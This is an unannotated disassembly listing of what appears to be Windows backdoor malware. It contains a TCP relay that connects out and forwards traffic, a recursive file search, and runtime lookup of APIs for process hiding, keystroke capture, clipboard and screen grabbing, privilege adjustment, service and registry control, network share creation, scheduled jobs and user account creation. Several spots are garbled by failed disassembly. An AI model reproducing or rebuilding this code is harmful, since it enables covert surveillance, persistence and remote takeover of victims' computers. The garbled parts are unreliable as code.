mov [eax+120h], ecx
call dword_433B48 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_40658E
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_411F70
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_433AC8 ; ntohs
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_433B08 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_406468
lea eax, [ebp-13Ch]
push eax
call dword_433B4C ; gethostbyname
jmp short loc_406476
; ---------------------------------------------------------------------------
loc_406468: ; CODE XREF: .nsp0:00406457j
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_433A80 ; gethostbyaddr
loc_406476: ; CODE XREF: .nsp0:00406466j
cmp eax, edi
jz loc_40658E
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_433A70 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40658E
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp-344h]
push offset unk_422ECC
push eax
call sub_411EEE
push esi
lea eax, [ebp-344h]
push 10h
push eax
call sub_41199A
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_438C64[ebx]
mov dword_438C5C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_438C68[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_4065BF
push edi
push edi
call dword_41D070 ; CreateThread
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_438C6C[ecx], eax
jz short loc_40657B
loc_406528: ; CODE XREF: .nsp0:00406535j
cmp [ebp-20h], edi
jnz short loc_406537
push 32h
call dword_41D05C ; Sleep
jmp short loc_406528
; ---------------------------------------------------------------------------
loc_406537: ; CODE XREF: .nsp0:0040652Bj
mov ebx, 1000h
loc_40653C: ; CODE XREF: .nsp0:00406577j
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_433AE0 ; recv
cmp eax, edi
jle short loc_40658E
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_433B18 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40653C
jmp short loc_40658E
; ---------------------------------------------------------------------------
loc_40657B: ; CODE XREF: .nsp0:00406526j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_422E78
call sub_408E8B
pop ecx
pop ecx
loc_40658E: ; CODE XREF: .nsp0:0040641Cj
; .nsp0:00406478j ...
mov eax, [ebp-4]
imul eax, 234h
push dword_438C64[eax]
call dword_433B60 ; closesocket
push dword ptr [ebp+8]
call dword_433B60 ; closesocket
push dword ptr [ebp-4]
call sub_411CB6
pop ecx
push edi
call near ptr 0AB0000h
db 26h
pop edi
pop esi
pop ebx
loc_4065BF: ; DATA XREF: .nsp0:00406508o
push ebp
mov ebp, esp
mov eax, 1128h
call sub_412770
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_4065F6: ; CODE XREF: .nsp0:0040663Bj
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_438C68[esi]
call dword_433AE0 ; recv
test eax, eax
jle short loc_40663D
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_438C64[esi]
call dword_433B18 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4065F6
loc_40663D: ; CODE XREF: .nsp0:00406620j
push dword_438C68[esi]
call dword_433B60 ; closesocket
push dword ptr [ebp-14h]
call sub_411CB6
pop ecx
push 0
; ---------------------------------------------------------------------------
dd 6A99A7E8h, 5E5FDD00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40665C proc near ; DATA XREF: .nsp0:0040DB44o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_4126F0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_4066B1
lea eax, [ebp+var_114]
push eax
call sub_4126F0
pop ecx
mov [ebp+eax+var_115], bl
loc_4066B1: ; CODE XREF: sub_40665C+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_422F58
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41246A
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_4066F6
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40F9F1
add esp, 14h
loc_4066F6: ; CODE XREF: sub_40665C+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_406774
push eax
lea eax, [ebp+var_49C]
push offset unk_422F24
push eax
call sub_411EEE
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_406754
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40F9F1
add esp, 14h
loc_406754: ; CODE XREF: sub_40665C+D6j
lea eax, [ebp+var_49C]
push eax
call sub_408E17
push [ebp+var_10]
call sub_411CB6
pop ecx
pop ecx
push ebx
call near ptr 0AB0000h
das
pop edi
pop esi
pop ebx
sub_40665C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406774 proc near ; CODE XREF: sub_40665C+B9p
; sub_406774+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset aS_3 ; "%s\\*"
push esi
push eax
call sub_41246A
mov edi, dword_41D094
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; dword_41D094
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_406831
loc_4067C0: ; CODE XREF: sub_406774+BBj
test [ebp+var_144], 10h
jz short loc_40681D
cmp [ebp+var_118], 2Eh
jnz short loc_4067E4
cmp [ebp+var_117], 0
jz short loc_40681D
cmp [ebp+var_117], 2Eh
jz short loc_40681D
loc_4067E4: ; CODE XREF: sub_406774+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41246A
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_406774
add esp, 2Ch
mov [ebp+arg_14], eax
loc_40681D: ; CODE XREF: sub_406774+53j
; sub_406774+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call dword_41D090 ; FindNextFileA
test eax, eax
jnz short loc_4067C0
loc_406831: ; CODE XREF: sub_406774+4Aj
push [ebp+var_4]
call near ptr 0AB0000h
jnb short near ptr loc_406839+1 ; CODE XREF: sub_406774:loc_406839j
jnz short loc_406851
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41246A
add esp, 14h
loc_406851: ; CODE XREF: sub_406774+C7j
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; dword_41D094
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4068B7
loc_406868: ; CODE XREF: sub_406774+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_41246A
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call dword_41D090 ; FindNextFileA
test eax, eax
jnz short loc_406868
loc_4068B7: ; CODE XREF: sub_406774+F2j
push esi
call near ptr 0AB0000h
dec byte ptr [ebx+5E5F1C45h]
pop ebx
leave
retn
sub_406774 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4068C6 proc near ; CODE XREF: .nsp0:00409B46p
push ebx
push ebp
mov ebp, dword_41D0B8
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; dword_41D0B8
mov esi, dword_41D0B4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_4069E6
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; dword_41D0B4
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_433B74, eax
call esi ; dword_41D0B4
push offset aProcess32first ; "Process32First"
push edi
mov dword_433AE8, eax
call esi ; dword_41D0B4
push offset aProcess32next ; "Process32Next"
push edi
mov dword_433ACC, eax
call esi ; dword_41D0B4
push offset aModule32first ; "Module32First"
push edi
mov dword_4339E8, eax
call esi ; dword_41D0B4
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_433994, eax
call esi ; dword_41D0B4
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4339C4, eax
call esi ; dword_41D0B4
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_433A38, eax
call esi ; dword_41D0B4
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_433B28, eax
call esi ; dword_41D0B4
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_433B84, eax
call esi ; dword_41D0B4
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4339F4, eax
call esi ; dword_41D0B4
cmp dword_433B74, ebx
mov dword_4339DC, eax
jz short loc_4069C4
cmp dword_433AE8, ebx
jz short loc_4069C4
cmp dword_433ACC, ebx
jz short loc_4069C4
cmp dword_4339E8, ebx
jz short loc_4069C4
cmp dword_4339C4, ebx
jz short loc_4069C4
cmp dword_433A38, ebx
jz short loc_4069C4
cmp dword_433B28, ebx
jz short loc_4069C4
cmp dword_433B84, ebx
jz short loc_4069C4
cmp dword_4339F4, ebx
jz short loc_4069C4
cmp eax, ebx
jnz short loc_4069CE
loc_4069C4: ; CODE XREF: sub_4068C6+B8j
; sub_4068C6+C0j ...
mov dword_433B88, 1
loc_4069CE: ; CODE XREF: sub_4068C6+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; dword_41D0B4
cmp eax, ebx
mov dword_433B00, eax
jz short loc_4069FB
push 1
push ebx
call eax
jmp short loc_4069FB
; ---------------------------------------------------------------------------
loc_4069E6: ; CODE XREF: sub_4068C6+1Dj
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433B8C, eax
mov dword_433B88, 1
loc_4069FB: ; CODE XREF: sub_4068C6+117j
; sub_4068C6+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_41D0B0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_406B10
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; dword_41D0B4
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_433B24, eax
call esi ; dword_41D0B4
push offset aIswindow ; "IsWindow"
push edi
mov dword_433AD4, eax
call esi ; dword_41D0B4
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_433A68, eax
call esi ; dword_41D0B4
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_433B78, eax
call esi ; dword_41D0B4
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_433A98, eax
call esi ; dword_41D0B4
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_433AB8, eax
call esi ; dword_41D0B4
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_433B1C, eax
call esi ; dword_41D0B4
cmp dword_433B24, ebx
mov dword_433A10, eax
jz short loc_406AB4
cmp dword_433AD4, ebx
jz short loc_406AB4
cmp dword_433A68, ebx
jz short loc_406AB4
cmp dword_433B78, ebx
jz short loc_406AB4
cmp dword_433A98, ebx
jz short loc_406AB4
cmp dword_433AB8, ebx
jz short loc_406AB4
cmp dword_433B1C, ebx
jz short loc_406AB4
cmp eax, ebx
jnz short loc_406ABE
loc_406AB4: ; CODE XREF: sub_4068C6+1B8j
; sub_4068C6+1C0j ...
mov dword_433B90, 1
loc_406ABE: ; CODE XREF: sub_4068C6+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; dword_41D0B4
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_433A94, eax
call esi ; dword_41D0B4
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4339A8, eax
call esi ; dword_41D0B4
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_433A64, eax
call esi ; dword_41D0B4
cmp dword_433A94, ebx
mov dword_433A50, eax
jz short loc_406B1B
cmp dword_4339A8, ebx
jz short loc_406B1B
cmp dword_433A64, ebx
jz short loc_406B1B
cmp eax, ebx
jnz short loc_406B25
jmp short loc_406B1B
; ---------------------------------------------------------------------------
loc_406B10: ; CODE XREF: sub_4068C6+144j
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433B94, eax
loc_406B1B: ; CODE XREF: sub_4068C6+232j
; sub_4068C6+23Aj ...
mov dword_433B90, 1
loc_406B25: ; CODE XREF: sub_4068C6+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; dword_41D0B8
mov edi, eax
cmp edi, ebx
jz loc_406CC0
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; dword_41D0B4
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_433B38, eax
call esi ; dword_41D0B4
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_433A7C, eax
call esi ; dword_41D0B4
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_433AEC, eax
call esi ; dword_41D0B4
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4339D4, eax
call esi ; dword_41D0B4
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_433A34, eax
call esi ; dword_41D0B4
cmp dword_433B38, ebx
mov dword_433AA4, eax
jz short loc_406BB0
cmp dword_433A7C, ebx
jz short loc_406BB0
cmp dword_433AEC, ebx
jz short loc_406BB0
cmp dword_4339D4, ebx
jz short loc_406BB0
cmp dword_433A34, ebx
jz short loc_406BB0
cmp eax, ebx
jnz short loc_406BBA
loc_406BB0: ; CODE XREF: sub_4068C6+2C4j
; sub_4068C6+2CCj ...
mov dword_433B98, 1
loc_406BBA: ; CODE XREF: sub_4068C6+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; dword_41D0B4
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_433AAC, eax
call esi ; dword_41D0B4
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_433A84, eax
call esi ; dword_41D0B4
cmp dword_433AAC, ebx
mov dword_433B34, eax
jz short loc_406BF5
cmp dword_433A84, ebx
jz short loc_406BF5
cmp eax, ebx
jnz short loc_406BFF
loc_406BF5: ; CODE XREF: sub_4068C6+321j
; sub_4068C6+329j
mov dword_433B98, 1
loc_406BFF: ; CODE XREF: sub_4068C6+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; dword_41D0B4
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_433ABC, eax
call esi ; dword_41D0B4
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4339B0, eax
call esi ; dword_41D0B4
push offset aControlservice ; "ControlService"
push edi
mov dword_4339B8, eax
call esi ; dword_41D0B4
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_433A18, eax
call esi ; dword_41D0B4
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_433A1C, eax
call esi ; dword_41D0B4
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4339CC, eax
call esi ; dword_41D0B4
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_433A88, eax
call esi ; dword_41D0B4
cmp dword_433ABC, ebx
mov dword_4339BC, eax
jz short loc_406CA3
cmp dword_4339B0, ebx
jz short loc_406CA3
cmp dword_4339B8, ebx
jz short loc_406CA3
cmp dword_433A18, ebx
jz short loc_406CA3
cmp dword_433A1C, ebx
jz short loc_406CA3
cmp dword_4339CC, ebx
jz short loc_406CA3
cmp dword_433A88, ebx
jz short loc_406CA3
cmp eax, ebx
jnz short loc_406CAD
loc_406CA3: ; CODE XREF: sub_4068C6+3A7j
; sub_4068C6+3AFj ...
mov dword_433B98, 1
loc_406CAD: ; CODE XREF: sub_4068C6+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; dword_41D0B4
cmp eax, ebx
mov dword_4339B4, eax
jnz short loc_406CD5
jmp short loc_406CCB
; ---------------------------------------------------------------------------
loc_406CC0: ; CODE XREF: sub_4068C6+26Aj
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433B9C, eax
loc_406CCB: ; CODE XREF: sub_4068C6+3F8j
mov dword_433B98, 1
loc_406CD5: ; CODE XREF: sub_4068C6+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; dword_41D0B8
mov edi, eax
cmp edi, ebx
jz loc_406DA1
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; dword_41D0B4
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_433AB4, eax
call esi ; dword_41D0B4
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_433B0C, eax
call esi ; dword_41D0B4
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_433B14, eax
call esi ; dword_41D0B4
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_433AD0, eax
call esi ; dword_41D0B4
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4339F8, eax
call esi ; dword_41D0B4
push offset aBitblt ; "BitBlt"
push edi
mov dword_4339A4, eax
call esi ; dword_41D0B4
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_433B10, eax
call esi ; dword_41D0B4
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_433990, eax
call esi ; dword_41D0B4
cmp dword_433AB4, ebx
mov dword_433A2C, eax
jz short loc_406DAC
cmp dword_433B0C, ebx
jz short loc_406DAC
cmp dword_433B14, ebx
jz short loc_406DAC
cmp dword_433AD0, ebx
jz short loc_406DAC
cmp dword_4339F8, ebx
jz short loc_406DAC
cmp dword_4339A4, ebx
jz short loc_406DAC
cmp dword_433B10, ebx
jz short loc_406DAC
cmp dword_433990, ebx
jz short loc_406DAC
cmp eax, ebx
jnz short loc_406DB6
jmp short loc_406DAC
; ---------------------------------------------------------------------------
loc_406DA1: ; CODE XREF: sub_4068C6+41Aj
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433BA4, eax
loc_406DAC: ; CODE XREF: sub_4068C6+49Bj
; sub_4068C6+4A3j ...
mov dword_433BA0, 1
loc_406DB6: ; CODE XREF: sub_4068C6+4D7j
mov ebp, dword_41D0B0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; dword_41D0B0
mov edi, eax
cmp edi, ebx
jz loc_407072
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; dword_41D0B4
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_433A40, eax
call esi ; dword_41D0B4
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_433B6C, eax
call esi ; dword_41D0B4
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4339E4, eax
call esi ; dword_41D0B4
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4339C0, eax
call esi ; dword_41D0B4
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_433A74, eax
call esi ; dword_41D0B4
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_433A5C, eax
call esi ; dword_41D0B4
push offset aSocket ; "socket"
push edi
mov dword_433A28, eax
call esi ; dword_41D0B4
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_433B48, eax
call esi ; dword_41D0B4
push offset aConnect ; "connect"
push edi
mov dword_433B64, eax
call esi ; dword_41D0B4
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_433A70, eax
call esi ; dword_41D0B4
push offset aInet_addr ; "inet_addr"
push edi
mov dword_433B54, eax
call esi ; dword_41D0B4
push offset aHtons ; "htons"
push edi
mov dword_433B08, eax
call esi ; dword_41D0B4
push offset aHtonl ; "htonl"
push edi
mov dword_433AC8, eax
call esi ; dword_41D0B4
push offset aNtohs ; "ntohs"
push edi
mov dword_433AC4, eax
call esi ; dword_41D0B4
push offset aNtohl ; "ntohl"
push edi
mov dword_433A04, eax
call esi ; dword_41D0B4
push offset aSend ; "send"
push edi
mov dword_4339FC, eax
call esi ; dword_41D0B4
push offset aSendto ; "sendto"
push edi
mov dword_433B18, eax
call esi ; dword_41D0B4
push offset aRecv ; "recv"
push edi
mov dword_433B2C, eax
call esi ; dword_41D0B4
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_433AE0, eax
call esi ; dword_41D0B4
mov dword_433AA0, eax
push offset aBind ; "bind"
push edi
call esi ; dword_41D0B4
push offset aSelect ; "select"
push edi
mov dword_433AF4, eax
call esi ; dword_41D0B4
push offset aListen ; "listen"
push edi
mov dword_433AB0, eax
call esi ; dword_41D0B4
push offset aAccept ; "accept"
push edi
mov dword_433AF0, eax
call esi ; dword_41D0B4
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_433B5C, eax
call esi ; dword_41D0B4
push offset aGetsockname ; "getsockname"
push edi
mov dword_433AA8, eax
call esi ; dword_41D0B4
push offset aGethostname ; "gethostname"
push edi
mov dword_433A6C, eax
call esi ; dword_41D0B4
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_433ADC, eax
call esi ; dword_41D0B4
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_433B4C, eax
call esi ; dword_41D0B4
push offset aGetpeername ; "getpeername"
push edi
mov dword_433A80, eax
call esi ; dword_41D0B4
push offset aClosesocket ; "closesocket"
push edi
mov dword_433A24, eax
call esi ; dword_41D0B4
cmp dword_433A40, ebx
mov dword_433B60, eax
jz loc_40707D
cmp dword_433B6C, ebx
jz loc_40707D
cmp dword_4339E4, ebx
jz loc_40707D
cmp dword_433A74, ebx
jz loc_40707D
cmp dword_433A5C, ebx
jz loc_40707D
cmp dword_433A28, ebx
jz loc_40707D
cmp dword_433B48, ebx
jz loc_40707D
cmp dword_433B64, ebx
jz loc_40707D
cmp dword_433A70, ebx
jz loc_40707D
cmp dword_433B54, ebx
jz loc_40707D
cmp dword_433B08, ebx
jz loc_40707D
cmp dword_433AC8, ebx
jz loc_40707D
cmp dword_433AC4, ebx
jz loc_40707D
cmp dword_433A04, ebx
jz short loc_40707D
cmp dword_433B18, ebx
jz short loc_40707D
cmp dword_433B2C, ebx
jz short loc_40707D
cmp dword_433AE0, ebx
jz short loc_40707D
cmp dword_433AA0, ebx
jz short loc_40707D
cmp dword_433AF4, ebx
jz short loc_40707D
cmp dword_433AB0, ebx
jz short loc_40707D
cmp dword_433AF0, ebx
jz short loc_40707D
cmp dword_433B5C, ebx
jz short loc_40707D
cmp dword_433AA8, ebx
jz short loc_40707D
cmp dword_433A6C, ebx
jz short loc_40707D
cmp dword_433ADC, ebx
jz short loc_40707D
cmp dword_433B4C, ebx
jz short loc_40707D
cmp dword_433A80, ebx
jz short loc_40707D
cmp eax, ebx
jnz short loc_407087
jmp short loc_40707D
; ---------------------------------------------------------------------------
loc_407072: ; CODE XREF: sub_4068C6+501j
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433BAC, eax
loc_40707D: ; CODE XREF: sub_4068C6+6A0j
; sub_4068C6+6ACj ...
mov dword_433BA8, 1
loc_407087: ; CODE XREF: sub_4068C6+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp ; dword_41D0B0
mov edi, eax
cmp edi, ebx
jz loc_40718C
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; dword_41D0B4
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_433A0C, eax
call esi ; dword_41D0B4
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_433998, eax
call esi ; dword_41D0B4
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_433A90, eax
call esi ; dword_41D0B4
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_433A44, eax
call esi ; dword_41D0B4
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_433A9C, eax
call esi ; dword_41D0B4
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_433A60, eax
call esi ; dword_41D0B4
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4339D8, eax
call esi ; dword_41D0B4
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4339D0, eax
call esi ; dword_41D0B4
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4339E0, eax
call esi ; dword_41D0B4
cmp dword_433A0C, ebx
mov ecx, dword_433A60
mov dword_433AFC, eax
jz short loc_407168
cmp dword_433998, ebx
jz short loc_407168
cmp dword_433A90, ebx
jz short loc_407168
cmp dword_433A44, ebx
jz short loc_407168
cmp dword_433A9C, ebx
jz short loc_407168
cmp ecx, ebx
jz short loc_407168
cmp dword_4339D8, ebx
jz short loc_407168
cmp dword_4339D0, ebx
jz short loc_407168
cmp dword_4339E0, ebx
jz short loc_407168
cmp eax, ebx
jnz short loc_407172
loc_407168: ; CODE XREF: sub_4068C6+860j
; sub_4068C6+868j ...
mov dword_433BB0, 1
loc_407172: ; CODE XREF: sub_4068C6+8A0j
cmp ecx, ebx
jz short loc_4071A7
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; dword_433A60
cmp eax, ebx
mov dword_433A78, eax
jnz short loc_4071A7
jmp short loc_4071A1
; ---------------------------------------------------------------------------
loc_40718C: ; CODE XREF: sub_4068C6+7CCj
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433BB4, eax
mov dword_433BB0, 1
loc_4071A1: ; CODE XREF: sub_4068C6+8C4j
mov dword_433A78, ebx
loc_4071A7: ; CODE XREF: sub_4068C6+8AEj
; sub_4068C6+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; dword_41D0B0
mov edi, eax
cmp edi, ebx
jz short loc_4071F1
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; dword_41D0B4
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_433A54, eax
call esi ; dword_41D0B4
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_433B80, eax
call esi ; dword_41D0B4
cmp dword_433A54, ebx
mov dword_4339EC, eax
jz short loc_4071FC
cmp dword_433B80, ebx
jz short loc_4071FC
cmp eax, ebx
jnz short loc_407206
jmp short loc_4071FC
; ---------------------------------------------------------------------------
loc_4071F1: ; CODE XREF: sub_4068C6+8ECj
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433BBC, eax
loc_4071FC: ; CODE XREF: sub_4068C6+91Bj
; sub_4068C6+923j ...
mov dword_433BB8, 1
loc_407206: ; CODE XREF: sub_4068C6+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; dword_41D0B0
mov edi, eax
cmp edi, ebx
jz loc_4072FC
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; dword_41D0B4
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4339C8, eax
call esi ; dword_41D0B4
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4339A0, eax
call esi ; dword_41D0B4
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_433A14, eax
call esi ; dword_41D0B4
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_433A48, eax
call esi ; dword_41D0B4
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_433B58, eax
call esi ; dword_41D0B4
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_433A00, eax
call esi ; dword_41D0B4
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4339AC, eax
call esi ; dword_41D0B4
